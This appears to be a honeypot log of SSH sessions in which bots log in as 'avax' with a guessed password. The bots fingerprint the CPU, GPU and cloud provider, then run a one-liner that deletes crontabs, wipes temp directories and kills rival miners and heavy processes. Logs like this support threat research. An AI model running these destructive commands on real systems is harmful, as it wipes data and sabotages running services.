{"id":"71a61821-1df6-4422-86b0-e0222187940a","name":"gilded-hardy-loris","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":55558,"username":"avax","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":211,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T12:50:06.082912+00:00","ended_at":"2026-08-21T12:50:11.595751+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1656,"events":[{"seq":1,"at":"2026-08-21T12:49:09.686247+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T12:49:15.001274+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T12:49:15.166818+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T12:49:19.819705+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T12:49:20.182339+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T12:49:25.286329+00:00","kind":"output","latency_ms":null,"data":"1 day,  9:39"},{"seq":7,"at":"2026-08-21T12:49:25.579365+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T12:49:28.944685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T12:49:29.387335+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T12:49:32.934911+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T12:49:33.141292+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T12:49:36.450599+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T12:49:36.638144+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T12:49:40.299922+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T12:49:40.484685+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T12:49:46.102386+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T12:49:46.314356+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T12:49:49.725757+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T12:49:50.212671+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T12:49:54.162309+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T12:49:54.356738+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T12:49:57.413706+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T12:49:57.822180+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T12:50:02.334357+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T12:50:02.509185+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T12:50:06.083716+00:00","kind":"input","latency_ms":null,"data":"echo avax > /tmp/d.log"}],"credentials":[{"username":"avax","password":"avax","method":"password","accepted":true,"tier":"other"}]}
{"id":"5d782005-c39d-45b0-82d6-55f3f1fa2cdd","name":"kindly-lunar-bobcat","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":49376,"username":"avax","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T19:26:10.690766+00:00","ended_at":"2026-08-20T19:26:12.389150+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"avax","password":"avax","method":"password","accepted":true,"tier":"other"}]}
{"id":"460bb595-5d7c-4d91-9cbf-1f26e2d2a958","name":"windswept-reedy-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":34862,"username":"avax","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":192,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:26:06.514920+00:00","ended_at":"2026-08-20T19:26:12.390479+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1649,"events":[{"seq":1,"at":"2026-08-20T19:25:01.142810+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T19:25:04.544932+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T19:25:04.720127+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T19:25:07.400947+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T19:25:07.595936+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T19:25:13.565420+00:00","kind":"output","latency_ms":null,"data":"16:15"},{"seq":7,"at":"2026-08-20T19:25:13.758229+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T19:25:18.895285+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T19:25:19.110766+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T19:25:22.588722+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T19:25:22.781836+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T19:25:28.567016+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T19:25:28.742256+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T19:25:34.529930+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T19:25:34.723844+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T19:25:39.161827+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T19:25:39.344720+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T19:25:44.772862+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T19:25:44.955551+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T19:25:49.909396+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T19:25:50.181241+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T19:25:55.994958+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T19:25:56.169136+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:26:01.085210+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T19:26:01.277001+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T19:26:06.515728+00:00","kind":"input","latency_ms":null,"data":"echo avax > /tmp/d.log"}],"credentials":[{"username":"avax","password":"avax","method":"password","accepted":true,"tier":"other"}]}
{"id":"2033def7-0f67-4bc7-b30b-1ab472d89d02","name":"ginger-lonesome-hare","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":51706,"username":"avax","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:05:45.258062+00:00","ended_at":"2026-08-20T10:05:46.891375+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"avax","password":"avax","method":"password","accepted":true,"tier":"other"}]}
{"id":"37cb1816-742b-4e3a-b559-a5916ce622b5","name":"whispering-slender-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":36326,"username":"avax","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":198,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:05:44.541575+00:00","ended_at":"2026-08-20T10:05:46.892257+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1622,"events":[{"seq":1,"at":"2026-08-20T10:05:32.590603+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:05:32.590917+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:05:32.777116+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:05:33.364115+00:00","kind":"output","latency_ms":586,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:05:33.578715+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:05:34.139061+00:00","kind":"output","latency_ms":559,"data":"6:55 1 user"},{"seq":7,"at":"2026-08-20T10:05:34.321371+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:05:34.321832+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:05:34.521263+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:05:36.825274+00:00","kind":"output","latency_ms":2302,"data":"0000:00:02.0 VGA compatible controller: Red Hat, Inc. Virtio VGA\n0000:00:03.0 3D controller: Red Hat, Inc. Virtio 3D controller"},{"seq":11,"at":"2026-08-20T10:05:37.012400+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:05:38.202444+00:00","kind":"output","latency_ms":1189,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T10:05:38.543755+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:05:39.642661+00:00","kind":"output","latency_ms":1098,"data":"AS14618 Amazon.com, Inc."},{"seq":15,"at":"2026-08-20T10:05:39.824582+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:05:40.509133+00:00","kind":"output","latency_ms":683,"data":"0"},{"seq":17,"at":"2026-08-20T10:05:40.829284+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:05:41.417190+00:00","kind":"output","latency_ms":587,"data":"bash: nvidia-smi: command not found"},{"seq":19,"at":"2026-08-20T10:05:41.658008+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:05:42.361776+00:00","kind":"output","latency_ms":703,"data":"0"},{"seq":21,"at":"2026-08-20T10:05:42.531128+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:05:42.979942+00:00","kind":"output","latency_ms":447,"data":"localhost"},{"seq":23,"at":"2026-08-20T10:05:43.160381+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T10:05:43.994500+00:00","kind":"output","latency_ms":833,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T10:05:44.346271+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T10:05:44.542050+00:00","kind":"input","latency_ms":null,"data":"echo avax > /tmp/d.log"}],"credentials":[{"username":"avax","password":"avax","method":"password","accepted":true,"tier":"other"}]}